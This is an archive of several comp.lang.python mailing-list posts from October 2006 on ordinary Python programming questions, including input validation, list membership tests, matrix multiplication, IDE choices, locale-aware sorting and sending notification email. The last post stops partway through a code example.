>>
> 
> It looks pretty rough. I think tabs are a very bad idea. Patently. Tabs 
> should be reserved for tables, for which tabs were named. If they were 
> meant to be used for indenting, they would have been named "indenters".
> 
> Try blocks in my opinion are a good idea but they need to be done 
> correctly. You should also consider thinking more in terms of procedural 
> programming than linear.
> 
> Also, the best way would be by gui. See this book for the best resource 
> (IMHO) for python gui programming:
> 
>          http://www.manning.com/grayson/
> 
> I think the following is much better technique and is more fun than 
> laborious to code:
> 
> 
> def get_pcts(prompts):
>   prompts = ['gross product', 'repleat divisional', 'sales quota']
>   pcts = [get_pct(prompt) for prompt in prompts]
>   sum_pcts = sum(pcts)
>   if (sum_pcts > 100.0001) or (sum_pcts < 99.999):
>     raise ValueError, "Values didn't add to 100."
>   return pcts
> 
> def get_pct(pct_type):
>   pct = raw_input('Input percent of %s:' % pct_type)
>   return float(pct)
> 
> def get_values():
>   prompts = ['gross product', 'net outsource', 'sales quota']
>   while True:
>     try:
>       pcts = get_pcts(prompts)
>       return dict(zip(prompts, pcts))
>     except ValueError, e:
>       print e
>       print 'Try again dude.'
> 
> """
> Here's a test
>  >>> print get_values()
> Input percent of gross product:21
> Input percent of repleat divisional:22
> Input percent of sales quota:57
> {'sales quota': 57.0, 'gross product': 21.0, 'net outsource': 22.0}
> """
> 
> James
> 

Oops, I forgot to remove a line in the final code:

def get_pcts(prompts):
   pcts = [get_pct(prompt) for prompt in prompts]
   sum_pcts = sum(pcts)
   if (sum_pcts > 100.0001) or (sum_pcts < 99.999):
     raise ValueError, "Values didn't add to 100."
   return pcts

def get_pct(pct_type):
   pct = raw_input('Input percent of %s:' % pct_type)
   return float(pct)

def get_values():
   prompts = ['gross product', 'net outsource', 'sales quota']
   while True:
     try:
       pcts = get_pcts(prompts)
       return dict(zip(prompts, pcts))
     except ValueError, e:
       print e
       print 'Try again dude.'


"""
Testing:

 >>> print get_values()
Input percent of gross product:22
Input percent of net outsource:21
Input percent of sales quota:57
{'sales quota': 57.0, 'gross product': 22.0, 'net outsource': 21.0}
 >>> print get_values()
Input percent of gross product:15.1
Input percent of net outsource:88.2
Input percent of sales quota:19.8
Values didn't add to 100.
Try again dude.
Input percent of gross product:bob
invalid literal for float(): bob
Try again dude.
"""

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From fredrik at pythonware.com  Wed Oct  4 01:24:01 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 07:24:01 +0200
Subject: python html rendering
In-Reply-To: <efvb55$l38$1@sea.gmane.org>
References: <efum0b$2r2$1@sea.gmane.org>	<d25b6e9a0610031545w33dba90g1abd0ec1fe5a94dd@mail.gmail.com>	<efuso2$kpp$1@sea.gmane.org>
	<efvb55$l38$1@sea.gmane.org>
Message-ID: <efvghh$vld$1@sea.gmane.org>

Pierre Imbaud wrote:

> I rather thought of some module built on python parser, generating html 
> or xml, ideally customizable.

see "colorizer.py" and "element_colorizer.py" in this directory:

     http://svn.effbot.python-hosting.com/stuff/sandbox/pythondoc

</F>



From fredrik at pythonware.com  Fri Oct 20 10:53:43 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 16:53:43 +0200
Subject: list comprehension (searching for onliners)
References: <4538C09E.2040408@fmed.uba.ar> <4538C950.1060403@tim.thechases.com>
	<4538E167.9080408@fmed.uba.ar>
Message-ID: <ehantn$235$1@sea.gmane.org>

Gerardo Herzig wrote:

> Thanks a lot dudes, i hope someday ill turn myself into some of you guys
> who can actually answer questions ;)

if you want to become a good Python programmer, you really need to get
over that "I need a oneliner" idea.

</F> 





From johnjsal at NOSPAMgmail.com  Fri Oct  6 10:24:34 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 06 Oct 2006 14:24:34 GMT
Subject: How do I put % in a format sting?
In-Reply-To: <mailman.1385.1160083283.10491.python-list@python.org>
References: <mailman.1381.1160078805.10491.python-list@python.org>	<VJdVg.78$1n3.1112@news.tufts.edu>
	<mailman.1385.1160083283.10491.python-list@python.org>
Message-ID: <CGtVg.83$1n3.1012@news.tufts.edu>

Carsten Haese wrote:

> While I wholeheartedly agree with the sentiment, calling the "?" a
> formatter only blurs the already blurred distinction between string
> formatting and parameter passing. The "?" is a parameter placeholder.

Yeah, you're right. I was actually raising an eyebrow as I typed 
"formatter", because I wasn't sure what to call it. :)


From eldiener_no_spam_here at earthlink.net  Tue Oct 10 08:41:52 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 12:41:52 GMT
Subject: Python component model
In-Reply-To: <7xlknotwuy.fsf@ruckus.brouhaha.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<7xlknotwuy.fsf@ruckus.brouhaha.com>
Message-ID: <kyMWg.12224$UG4.7241@newsread2.news.pas.earthlink.net>

Paul Rubin wrote:
> "Nick Vatamaniuc" <vatamane at gmail.com> writes:
>> Python does not _need_ a component model just as you don't _need_ a RAD
>> IDE tool to write Python code. The reason for having a component model
>> or a RAD IDE tool is to avoid writing a lot of boiler plate code.
> 
> It's also so that applications written in differing languages can call
> each other.

That's a possible reason, but with JavaBeans and EJBs for Java there is 
just a single language and I am sure there are many Java programmers who 
enjoy using Eclipse, NetBeans, or JBuilder to name a few RAD IDEs which 
allow them to create their applications using a design-time visual 
environment.


From oliphant.travis at ieee.org  Wed Oct  4 16:42:20 2006
From: oliphant.travis at ieee.org (Travis Oliphant)
Date: Wed, 04 Oct 2006 14:42:20 -0600
Subject: switching to numpy and failing, a user story
In-Reply-To: <1159984398.088012.209640@k70g2000cwa.googlegroups.com>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>	<mailman.1238.1159947549.10491.python-list@python.org>
	<1159984398.088012.209640@k70g2000cwa.googlegroups.com>
Message-ID: <eg16bj$vvm$1@sea.gmane.org>

greg.landrum at gmail.com wrote:
> Travis E. Oliphant wrote:
> 
> 
> Given the quality of python's (free) documentation and how good it's
> been for a very long time, it's bit ironic to be using the phrase
> "normal open-source documentation" on this mailing list. Numeric
> python, which numpy aspires to be a replacement for, has perfectly
> reasonable documentation. 

And it is still perfectly useful.  Only a couple of details have 
changed.  The overall description is still useful.

It wasn't perfect, but it told you pretty
> much everything you needed to know to get started, use the system, and
> build extension modules. I guess this set my expectations for NumPy.
> 

This documentation was written largely due to funding from a national 
laboratory.  I didn't have those resources.  If somebody wanted to step 
up to the plate and make me an offer, the NumPy docs could be free as 
well.  So far, people have been content to buy it a piece at a time.

> 
> "Ask on the mailing lists" is viable for the occasional question or
> detail, but it's not really an efficient way to get started with a
> system. At least not for me. But that's fine, I have something that
> works (numeric), and I can do what I need to do there.


Absolutely,  that's the advantage of open source.  If the world moves a 
head you don't *have* to.  It's entirely your choice. There is no lock-in.


-Travis



From egbert.bouwman at hccnet.nl  Fri Oct 20 09:25:55 2006
From: egbert.bouwman at hccnet.nl (egbert)
Date: Fri, 20 Oct 2006 15:25:55 +0200
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
Message-ID: <20061020132555.GA9779@hccnet.nl>

> > John Salerno wrote:
> >> I'm not steeped enough in daily programming to argue that it isn't 
> >> necessary, but my question is why do you need to reverse strings? Is it 
> >> something that happens often enough to warrant a method for it?

String reversal comes in handy when you do palindromes.
-- 
Egbert Bouwman - Keizersgracht 197 II - 1016 DS  Amsterdam - 020 6257991
========================================================================


From ptmcg at austin.rr._bogus_.com  Sun Oct 22 12:21:06 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Sun, 22 Oct 2006 16:21:06 GMT
Subject: implementation of "in" that returns the object.
References: <mailman.939.1161527588.11739.python-list@python.org>
Message-ID: <STM_g.788$GR2.741@tornado.texas.rr.com>

"Jorge Vargas" <jorge.vargas at gmail.com> wrote in message 
news:mailman.939.1161527588.11739.python-list at python.org...
> Hi
>
> I need to check if an object is in a list AND keep a reference to the
> object I have done it this way but is there a better one?
>
>>>> def inplusplus(value,listObj):
> ...     for i in listObj:
> ...             if i is value:
> ...                     return value
> ...     return False
> ...
>>>> l = [1,2,3,4]
>>>> print inplusplus(2,l)
> 2
>>>> print inplusplus(9,l)
> False
>>>> print inplusplus(1,l)
> 1
>>>> l.append(0)
>>>> print inplusplus(0,l)
> 0

Just a couple of quick comments:
1. "if i is value" will check for identity, not equality.  Your example with 
small integers relies on a nonportable CPython implementation of using 
cached objects.  Check out this behavior:

>>> def inplusplus(value,listObj):
...   for i in listObj:
...     if i is value:
...       return value
...   return False
...
>>> a = 5
>>> lst = [ 1,3,5,7 ]
>>> inplusplus(5,lst)
5
>>> inplusplus(a,lst)
5
>>> lst.append( 123456789 )
>>> inplusplus( 123456789,lst)
False

Instead of this loopy "is" test, just use "in":

>>> def inplusplus(value,listObj):
...   if value in listObj: return value
...   return False
...
>>> inplusplus( 123456789,lst)
123456789


2.  What happens if "False" is in the list?  How would you know?

-- Paul




From MonkeeSage at gmail.com  Tue Oct  3 04:13:11 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 3 Oct 2006 01:13:11 -0700
Subject: I need Cryptogrphy in Python please .
References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com>
Message-ID: <1159863191.600082.78980@c28g2000cwb.googlegroups.com>

NicolasG wrote:
> I have installed .NET framework latest release.

The SDK is different from the framework. ;)

> Can some one guide me how to fix the problem above or point me to
> another Cyrptography library that I can use easily ?

Prebuilt binaries:
http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Ps. The project still looks active to me, and has an active mailing
list:
http://www.amk.ca/python/code/crypto.html

Regards,
Jordan



From maric at aristote.info  Thu Oct  5 10:59:59 2006
From: maric at aristote.info (Maric Michaud)
Date: Thu, 5 Oct 2006 16:59:59 +0200
Subject: Subclassing built-in classes
In-Reply-To: <eg32kd$6tt$1@sea.gmane.org>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
	<200610051441.54455.maric@aristote.info>
	<eg32kd$6tt$1@sea.gmane.org>
Message-ID: <200610051700.00482.maric@aristote.info>

Le jeudi 05 octobre 2006 15:52, Steve Holden a ?crit?:
> > But what prevents to interpret literals as a call to __builtins__ objects
> > and functions ? optimization ? what else ?
>
>
> When are literals interpreted? During translation into bytecode.

agreed, but what's the problem with this ?

We can actually monkey patch all buitins like in this example :

In [1]: oldstr=str

In [2]: class mystr(str) :
   ...:     def __new__(*a, **kw) :
   ...:         print 'called : ', a, kw
   ...:         return oldstr.__new__(*a, **kw)
   ...:
   ...:

In [3]: import __builtin__

In [4]: __builtin__.str = mystr
called :  (<class '__main__.mystr'>, <ItplNS 'In 
[${self.cache.prompt_count}]: ' >) {}
called :  (<class '__main__.mystr'>, 5) {}
...


If the generated bytecode of {k:v} is more or less the same as the one 
gernerated by dict(((k,v))), monkey patching dict will work for dict literals 
too.

Also, this should work with scalars,  'a string' be translated in what 
actually is produced by str('a string') (of course the internal code for 
building scalars should still be there).

If that is feasible without big refactoring and do not introduce noticeable 
performance loss is what I don't know, but it could be a nice feature of 
__builtin__ module IMO (at less I expected it to work like this when I first 
tried it).

-- 
_____________

Maric Michaud
_____________

Aristote - www.aristote.info
3 place des tapis
69004 Lyon
Tel: +33 426 880 097


From http  Thu Oct 26 03:03:48 2006
From: http (Paul Rubin)
Date: 26 Oct 2006 00:03:48 -0700
Subject: iterator idea
Message-ID: <7xiri7mucr.fsf_-_@ruckus.brouhaha.com>

I wonder if Python would benefit from letting a generator jump to
another iterator, i.e. something like

   yield return *seq

would be the equivalent of

   for s in seq: yield s
   return

except that it would work by transferring control directly to seq's
iterator (like a goto) instead of calling it like a subroutine.  The
idea is to solve one of the perennial iterator annoyances, the
inability to push items back on an iterator.  For example, the
annoyance means itertools.takewhile consumes an extra element with no
reasonable way to retrieve it.  The new feature would let us write
something like (obviously untested):

  def takewhile_exact (pred, seq):
     """return two iterators (head,tail).  head is the same as
        itertools.takewhile(pred,seq).  tail is the rest of the
        elements of seq, with none missing.  You can't use tail
        until you've iterated through head."""
     buf = []
     def head():
        for s in seq:
           if pred(s): yield s
        # save non-matching item so that tail can find it
        buf.append(s)

     def tail():
        if not buf:
           raise IndexError, "not yet ready"
        yield buf.pop()
        yield return *seq   # transfer control to seq

     return head(), tail()

The reason tail() can't just iterate through seq is that you
might call takewhile_exact many times:

   def is_even(n): return (n%2 == 0)
   def is_odd(n): return (n%2 != 0) 

   # we want to do something with all the runs of even numbers
   # in the sequence, and similarly with the odds.  seq is an 
   # infinite sequence.
   while True:
       evens, seq = takewhile_exact(is_even, seq)
       do_something_with (evens)
       odds, seq = takewhile_exact(is_odd, seq)
       do_something_else_with (odds)

Without the "goto"-like transfer, we'd get deeper and deeper in nested
iterators and eventually overflow the call stack.


From tuomas.vesterinen at pp.inet.fi  Sun Oct 22 14:03:24 2006
From: tuomas.vesterinen at pp.inet.fi (Tuomas)
Date: Sun, 22 Oct 2006 18:03:24 GMT
Subject: pylint: What's wrong with the builtin map()
Message-ID: <MnO_g.219$P33.22@read3.inet.fi>

#!/usr/bin/python
"""test pydev_0.9.3/../pylint"""
__revision__ = "test_mod 0.1 by TV 06/10/22"

lst = ['aaa', ' bbb', '\tccc\n']
lst = map(lambda x: x.strip(), lst)

result = """
No config file found, using default configuration
************* Module test_mod
W:  6: Used builtin function 'map'
E:  6: Using variable 'x' before assigment
...
"""


From rrr at ronadam.com  Wed Oct 18 03:03:26 2006
From: rrr at ronadam.com (Ron Adam)
Date: Wed, 18 Oct 2006 02:03:26 -0500
Subject: Flexable Collating (feedback please)
In-Reply-To: <35kZg.6681$fl.2685@dukeread08>
References: <35kZg.6681$fl.2685@dukeread08>
Message-ID: <sokZg.6682$fl.5958@dukeread08>


Fixed...


Changed the collate() function to return None the same as sort() since it is an 
in place collate.

A comment in _test() doctests was reversed.  CAPS_FIRST option puts words 
beginning with capitals before, not after, words beginning with lower case of 
the same letter.


It seems I always find a few obvious glitches right after I post something.  ;-)

Cheers,
    Ron


From mrmakent at cox.net  Thu Oct 26 16:07:26 2006
From: mrmakent at cox.net (Mike Kent)
Date: 26 Oct 2006 13:07:26 -0700
Subject: conditional computation
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
Message-ID: <1161893246.184899.169330@h48g2000cwc.googlegroups.com>


robert wrote:
> I want to use a computation cache scheme like
>
>
> 	o = CACHECOMPUTE  complex-key-expr  expensive-calc-expr
>
>
> frequently and elegantly without writing complex-key-expr or expensive-calc-expr twice.
> So its ugly:
>
> 	_=complex-key-expr; o=cache.get(_) or cache.setdefault(_,expensive-calc-expr)
>
> Any ideas?
>
> -robert

Your question is a bit terse, so my answer might not be spot on for it,
but it sounds like you want what is typically called 'memoization',
whereby a function caches its expensive-to-calculate return values,
where the cache is keyed by the function arguments.

See:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52201
and various other implimentations in the Cookbook for details.



From reivax85 at gmail.com  Wed Oct 18 13:01:24 2006
From: reivax85 at gmail.com (Sssasss)
Date: 18 Oct 2006 10:01:24 -0700
Subject: matrix Multiplication
In-Reply-To: <eh58g3$i0t$1@cernne03.cern.ch>
References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com>
	<eh58g3$i0t$1@cernne03.cern.ch>
Message-ID: <1161190884.006600.77140@m7g2000cwm.googlegroups.com>


Roberto Bonvallet wrote:
> Sssasss wrote:
> > hi evrybody!
> >
> > I wan't to multiply two square matrixes, and i don't understand why it
> > doesn't work.
> > Could you explain me?
> >
> > def multmat(A,B):
> >    "A*B"
> >    if len(A)!=len(B): return "error"
>
> Wrong validation here:  you _can_ multiply two matrices with a different
> number of rows!  And instead of returning "error" you should raise an
> exception.
>
> [...]
>
> I suggest using a linear algebra package, but if you insist in using lists
> of lists:
>
> >>> b = [[1, 2, 3,  4],
> ...      [4, 5, 6,  7],
> ...      [7, 8, 9, 10]]
> >>>
> >>> a = [[1, 2, 3],
> ...      [4, 5, 6]]
> >>>
> >>> ab = [[sum(i*j for i, j in zip(row, col)) for col in zip(*b)] for row in a]
> >>> ab
> [[30, 36, 42, 48], [66, 81, 96, 111]]
>
> Straightforward from the definition of matrix multiplication.
> --
> Roberto Bonvallet

Thank you, this one is very short!
yes of course we can multiply  different kinds of matrices, bu since
I'm starting with python i started with something quick.

ciao



From deets at nospam.web.de  Thu Oct  5 15:57:37 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Thu, 05 Oct 2006 21:57:37 +0200
Subject: Request for recommendations: shared database without a server
In-Reply-To: <1160077602.190028.286290@h48g2000cwc.googlegroups.com>
References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com>
Message-ID: <4ol6dhFf62gdU1@uni-berlin.de>

> --  A database application on a network drive
> --  A variety of users will access the database application at various
> times
> --  All computing is done on the client machines (Windows XP), as there
> is no server
> --  I'll not be able to install a database program, or Python, on the
> client machines

This pretty much leaves you out of any options - and contradicts your 
last paragraph.

> While this seems just the sort of application servers were designed
> for, the absence of a server is a firm constraint (no technological
> reason, just an arbitrary wall of infinite height)
> 
> I currently have some of the required database tables populated in
> MySQL, but I can migrate them as long as I have SQL capabilities in the
> new database.
> 
> Can I get there with MySQL?  Or do I need to pair a pure python
> approach (including the database) with py2exe?  Has anyone achieved
> this with a db framework like Dabo?  Or is there another, entirely
> different and better approach?
> 
> 
> The common wisdom around the halls is to just use MS Access, because
> apparently everyone has that on their client machines, or can be
> asked/expected to install it.  That's not my preference, but I need to
> forget my biases, be pragmatic and get the application done.

Access might really be the best solution. It is pretty good for what it 
is supposed to do, and the quick prototyping and UI-designing are strong 
arguments for it, especially if there already is a bias towards it.

I also _think_ that the whole "db on a shared volume" thing works 
comparably neat.

However, there _can_ situations arise where it might get corrupted, as 
e.g. file locking on a network share isn't as reliable as one wants it 
to be - so if you do anything to tear down some infinite walls, try it.

Diez


From bignose+hates-spam at benfinney.id.au  Wed Oct  4 21:50:30 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 05 Oct 2006 11:50:30 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de> <87lknvelb3.fsf@benfinney.id.au>
	<eg1jgs$5g3$1@sea.gmane.org>
Message-ID: <87d597edjt.fsf@benfinney.id.au>

"Terry Reedy" <tjreedy at udel.edu> writes:

> "Ben Finney" <bignose+hates-spam at benfinney.id.au> wrote:
> > I don't see why you're being so obtuse
> I think name calling is out of line here.

So do I, which is why I addressed observed actions instead.

-- 
 \           "I got a postcard from my best friend, it was a satellite |
  `\      picture of the entire Earth. On the back he wrote, 'Wish you |
_o__)                                   were here'."  -- Steven Wright |
Ben Finney



From johnjsal at NOSPAMgmail.com  Fri Oct 13 16:20:15 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 13 Oct 2006 16:20:15 -0400
Subject: wing ide vs. komodo?
In-Reply-To: <mailman.482.1160769808.11739.python-list@python.org>
References: <2nRXg.108$1n3.2866@news.tufts.edu>	<mailman.480.1160767168.11739.python-list@python.org>	<tURXg.27343$Go3.5193@dukeread05>	<mailman.481.1160768935.11739.python-list@python.org>	<18SXg.27347$Go3.9933@dukeread05>
	<mailman.482.1160769808.11739.python-list@python.org>
Message-ID: <452ff5e4$0$1771$c3e8da3@news.astraweb.com>

Theerasak Photha wrote:
> On 10/13/06, hg <hg at nospam.com> wrote:
> 
>> I have spend the past two years with eclipse/pydev ... a few issue are
>> still troublesome to me (speed, search for definitions ... being a few
>> of them) ... and until two days ago I had not even looked at Wing as I
>> wrongly thought it was on Windoze-based. But I must must admit I am
>> impressed - yet I feel it would be stupid to not look carefully at
>> Komodo ... hence my questions.
> 
> I haven't used Komodo personally. I like Emacs. However:
> 
> 1) *Appearing* sparse doesn't mean much---Emacs 22's GTK interface
> 'looks' sparse as well, and sparse is the last word that comes to mind
> when I think of Emacs
> 2) I've *heard* good things about Komodo before from others---it might
> just be awesome
> 
> Perhaps you could try the Eric IDE? I hear SPE is not in active
> dev.--- a pity to be sure, but I have used Eric before and found it
> pretty easy to use and featureful.
> 
> -- Theerasak

Is Eric available for Windows? I have found the install files before, 
but they looked like it was for Linux.


From hanumizzle at gmail.com  Fri Oct 13 16:42:52 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 16:42:52 -0400
Subject: wing ide vs. komodo?
In-Reply-To: <452ff5e4$0$1771$c3e8da3@news.astraweb.com>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.480.1160767168.11739.python-list@python.org>
	<tURXg.27343$Go3.5193@dukeread05>
	<mailman.481.1160768935.11739.python-list@python.org>
	<18SXg.27347$Go3.9933@dukeread05>
	<mailman.482.1160769808.11739.python-list@python.org>
	<452ff5e4$0$1771$c3e8da3@news.astraweb.com>
Message-ID: <463ff4860610131342k75859718rb9149c3783ed037b@mail.gmail.com>

On 10/13/06, John Salerno <johnjsal at nospamgmail.com> wrote:

> Is Eric available for Windows? I have found the install files before,
> but they looked like it was for Linux.

You need QScintilla IIRC, but:

http://www.die-offenbachs.de/detlev/eric3-testimonials.html

"Eric is becoming an integral part of our Python development here at
Fluent. It's ability to set and trigger breakpoints in any thread is
unlike any other Python debugger we have tried. Through Eric's easy to
use interface and tight integration with PyQt, it has helped reduce
our debugging time, particularly on Windows platforms where it is used
heavily."

--- Andrew Bushnell, Fluent Inc.

So yeah. Good luck w/ it then, whatever your choice.

-- Theerasak


From fdu.xiaojf at gmail.com  Mon Oct 16 05:04:19 2006
From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com)
Date: Mon, 16 Oct 2006 17:04:19 +0800
Subject: How to send E-mail without an external SMTP server ?
In-Reply-To: <1160984719.088664.76350@e3g2000cwe.googlegroups.com>
References: <mailman.553.1160976477.11739.python-list@python.org>	<1160981517.845397.173540@h48g2000cwc.googlegroups.com>	<mailman.556.1160984073.11739.python-list@python.org>
	<1160984719.088664.76350@e3g2000cwe.googlegroups.com>
Message-ID: <45334B13.1050604@gmail.com>

Leo Kislov wrote:
>>
>> Do I have to setup a smtp server on my localhost ?
>>     
>
> You need to use login method
> <http://docs.python.org/lib/SMTP-objects.html>. And by the way, the
> subject of your message is very confusing, you are posting log where
> you're sending email using external server.
>
>   
Thanks.

Yes, I want to find a way to send email without an external smtp server.

According to Rob's reply, I thought this could be implemented as 
described in
the example code of "SMTP Example" on 
"http://docs.python.org/lib/SMTP-example.html".  So I tried the code, 
but failed.

Actually I was writing a script that can submit jobs automatically on a 
remote server. I should not submit the jobs all at once, because this 
will take up all resources of the server. I just want a specified number 
of jobs to be running at one time. If one jobs is over, the script 
should submit another job. I run the script with nohup, then I logout.  
The script will take care of all jobs.

But I have to check the status of the script manually, which is very 
inefficient. So I want to be informed automatically by E-mail when all 
jobs are done.


It's not safe if I have to use login method explicitly by which I have 
to put my username and password in the script. I have also tried the 
Unix command 'mail', but without success, either. I could use 'mail' to 
send an E-mail to the user on the server, but I couldn't send an E-mail 
to an external E-mail server. I realized that it may because the port 25 
outgoing connections are blocked, so I gave up. I will have to login 
periodically to check the status of the jobs:-(

Anyway, thank you, Rob, and thank you, Leo.

xiaojf


From tuomas.vesterinen at pp.inet.fi  Mon Oct 16 17:39:55 2006
From: tuomas.vesterinen at pp.inet.fi (Tuomas)
Date: Mon, 16 Oct 2006 21:39:55 GMT
Subject: Alphabetical sorts
In-Reply-To: <slrnej7l5u.1dc.horpner@FIAD06.norwich.edu>
References: <4aQYg.6347$fl.1193@dukeread08>
	<slrnej7l5u.1dc.horpner@FIAD06.norwich.edu>
Message-ID: <L_SYg.311$UF6.238@read3.inet.fi>


My application needs to handle different language sorts. Do you know a 
way to apply strxfrm dynamically i.e. without setting the locale?

Tuomas

Neil Cerutti wrote:
> On 2006-10-16, Ron Adam <rrr at ronadam.com> wrote:
> 
>>I have several applications where I want to sort lists in
>>alphabetical order. Most examples of sorting usually sort on
>>the ord() order of the character set as an approximation.  But
>>that is not always what you want.
> 
> 
> Check out strxfrm in the locale module.
> 
> 
>>>>a = ["Neil", "Cerutti", "neil", "cerutti"]
>>>>a.sort()
>>>>a
> 
> ['Cerutti', 'Neil', 'cerutti', 'neil']
> 
>>>>import locale
>>>>locale.setlocale(locale.LC_ALL, '')
> 
> 'English_United States.1252'
> 
>>>>a.sort(key=locale.strxfrm)
>>>>a
> 
> ['cerutti', 'Cerutti', 'neil', 'Neil']
> 


From limodou at gmail.com  Tue Oct 17 03:48:35 2006
From: limodou at gmail.com (limodou)
Date: Tue, 17 Oct 2006 15:48:35 +0800
Subject: How to paras such echo string effection?
In-Reply-To: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com>
References: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com>
Message-ID: <505f13c0610170048y23dcb949wa1efef84b4bcad03@mail.gmail.com>

On 10/17/06, Kevien Lee <ironpythonster at gmail.com> wrote:
> Hi everyone,
>
> When i decide to paras a string,which return from running a CVS command,it's
> amaze that i want to get some file of the echo string ,how to make paras
> process more effect?
>
> the problem detail as follow that:
>
> run command:"cvs  status -r" it will return all the file list in as follow?
>
>
>
> ===================================================================
> File: file01.xls Status: Up-to-date
>
>    Working revision: 1.1
>    Repository revision: 1.1 /msg/file01.xls,v
>    Sticky Tag:  (none)
>    Sticky Date:  (none)
>    Sticky Options: -kb
>
> cvs status: Examining 20060815
> ===================================================================
> File: file02.xls Status: Up-to-date
>
>    Working revision: 1.1
>    Repository revision:/msg/file02.xls ,v
>    Sticky Tag:  (none)
>    Sticky Date:  (none)
>    Sticky Options: -kb
>
> cvs status: Examining 20060816
> ===================================================================
>
>
> Now ,i just what to know the file of "Status",if paras all should be
>
> coast expenses,is there any effect way?
>
> PS:is there any python lib for CVS ?
>
>
I think you can use regular expression to match the Status. Or simple
find 'File' and 'Status' substring, and get the result.

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From bruno at modulix.org  Sat Oct  7 09:10:08 2006
From: bruno at modulix.org (bruno de chez modulix en face)
Date: 7 Oct 2006 06:10:08 -0700
Subject: error handling in user input: is this natural or just laborious
In-Reply-To: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
Message-ID: <1160226608.508743.173400@e3g2000cwe.googlegroups.com>


sam a ?crit :

(snip)
> i'm still in the early stages, and am trying to code something simple
> and interactive to get the percentages of the portfolio in the five
> different investment categories. i thought i'd get in with the error
> handling early so if someone types in something wrong (like a word), or
> the numbers don't add up to 100%, the error would be caught immediately
> and the user sent back to the start of the loop.
(snip)

You may want to have a look at the formencode package. While mostly
used in web apps, it's perfectly usable for all kind of
python<->outside world data conversion/validation.

HTH



From michele.simionato at gmail.com  Wed Oct  4 08:40:02 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 4 Oct 2006 05:40:02 -0700
Subject: string: __iter__()?
In-Reply-To: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
Message-ID: <1159965601.962420.156830@e3g2000cwe.googlegroups.com>

mrquantum wrote:
> Hello!
>
> Just for curiosity i'd like to know why strings don't support the
> iteration protocoll!? Is there some deeper reason for this?
>
> >>> hasattr('SomeString', '__iter__')
> False
>
> In Python 2.5 it's actually simple to obtain one:
>
> >>> myIter = (c for c in 'SomeString')
> >>> myIter.next()
> 'S'
>
> Thanks for info!
>
> Chris

Well, I see it as a feature. Typically I want to consider a string as
an atomic object (and
not as a sequence of characters) and I can check hasattr(obj,
'__iter__') to distinguish
(for instance) a list of strings from a single string (typically in
recursive algorithms
working on texts).

                  Michele Simionato



From tomas at fancy.org  Tue Oct 10 20:48:02 2006
From: tomas at fancy.org (Tom Plunket)
Date: Tue, 10 Oct 2006 17:48:02 -0700
Subject: C++ to Python?
References: <6110AB6F-D20C-4F12-9347-B7FB64930329@comcast.net>
	<7465b6170610101255i4569613nfb41424225d60446@mail.gmail.com>
	<1B0B405F-56A9-4A41-B5C8-DA6E04248B1E@comcast.net>
	<mailman.241.1160516685.11739.python-list@python.org>
Message-ID: <8naoi2plnvti43ptniqhq60gkdv7n64ahq@4ax.com>

Roman Yakovenko wrote:

> you want to find some kind of "translator"
> 
> C++ code:
>    std::cout << 1;
> translator output:
>    print 1
> 
> Am I right? If so, I am pretty sure that such "translator" does not
> exist - too complex.

...however such a "refactor" is easy for a human to do.

What the OP could do is read up on wrapping the C++ API, and then do
the "change language refactor" incrementally per source file.  Even
for a large application, if you had the whole C++ API wrapped so it
was accessible via Python, it'd be fairly straight-forward and perhaps
even easy.  Heck, you could even write a quickie conversion utility
that converted the top-level C++ syntax into Python syntax to get 90%
of the way there.

Even a quickie:

def ConvertBraces(filename):
   lines = file(filename).readlines()

   indent = 0

   for line in lines:
      stripped = line.strip()
